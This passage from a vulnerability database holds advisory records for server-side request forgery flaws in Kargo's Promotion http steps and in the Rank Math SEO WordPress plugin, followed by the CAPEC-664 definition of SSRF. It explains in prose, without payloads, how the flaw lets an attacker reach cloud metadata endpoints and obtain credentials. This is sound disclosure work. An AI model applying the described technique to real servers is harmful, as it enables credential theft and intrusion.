this vulnerability. While malicious Promotion resources are created, they function within Kargo\u0027s normal processing pipeline.\n\n### Availability Impact to Vulnerable System (VA): None\nThis vulnerability does not enable denial of service against Kargo. Each Promotion executes a bounded set of HTTP requests and does not consume disproportionate resources.\n\n### Confidentiality Impact to Subsequent Systems (SC): Low\nThe controller runs in-cluster and can reach link-local addresses, including cloud instance metadata endpoints. These endpoints are unauthenticated and can expose sensitive data such as IAM credentials. Provider-side header-based SSRF mitigations are ineffective because these steps provide full control over request headers.\n\n### Integrity Impact to Subsequent Systems (SI): None\nCloud instance metadata endpoints are read-only. While the http step supports arbitrary HTTP methods, the only unintended access enabled by this vulnerability is to link-local addresses, and these do not accept state-changing requests.\n\n### Availability Impact to Subsequent Systems (SA): None\nA single HTTP request per promotion step does not constitute a meaningful denial-of-service vector against subsequent systems. There is no amplification mechanism.\n\n## Mitigating Factors\n\n- Exploitation requires authentication to the Kargo API server with permissions to create or update Stages, or to craft Promotion resources directly. These permissions must be explicitly granted by a project administrator.\n\n- All Promotion creation is audited. The creating user\u0027s identity is recorded in annotations and Kubernetes events, providing a clear forensic trail.\n\n- The practical impact is limited to cloud instance metadata endpoints. Access to private and internal addresses is by design, and services at those addresses are expected to implement their own authentication and authorization.",
"id": "GHSA-j94x-8wcp-x7hm",
"modified": "2026-03-20T21:18:44Z",
"published": "2026-03-16T20:47:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/akuity/kargo/security/advisories/GHSA-j94x-8wcp-x7hm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32828"
},
{
"type": "WEB",
"url": "https://github.com/akuity/kargo/commit/fd25620c2473ed19bec4be4d0f181287ef0f0391"
},
{
"type": "PACKAGE",
"url": "https://github.com/akuity/kargo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kargo Vulnerable to SSRF in Promotion http/http-download Steps Enables Internal Network Access and Data Exfiltration"
}
GHSA-J95R-86HX-XWXG
Vulnerability from github – Published: 2022-09-10 00:00 – Updated: 2022-09-16 13:42Server-Side Request Forgery (SSRF) vulnerability in Rank Math SEO plugin <= 1.0.95 at WordPress.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "rankmath/seo-by-rank-math"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.95"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36376"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T13:42:41Z",
"nvd_published_at": "2022-09-09T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Rank Math SEO plugin \u003c= 1.0.95 at WordPress.",
"id": "GHSA-j95r-86hx-xwxg",
"modified": "2022-09-16T13:42:41Z",
"published": "2022-09-10T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36376"
},
{
"type": "PACKAGE",
"url": "https://github.com/rankmath/seo-by-rank-math"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/seo-by-rank-math/wordpress-rank-math-seo-plugin-1-0-95-server-side-request-forgery-ssrf-vulnerability"
},
{
"type": "WEB",
"url": "https://rankmath.com/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rank Math SEO plugin vulnerable to Server-Side Request Forgery"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.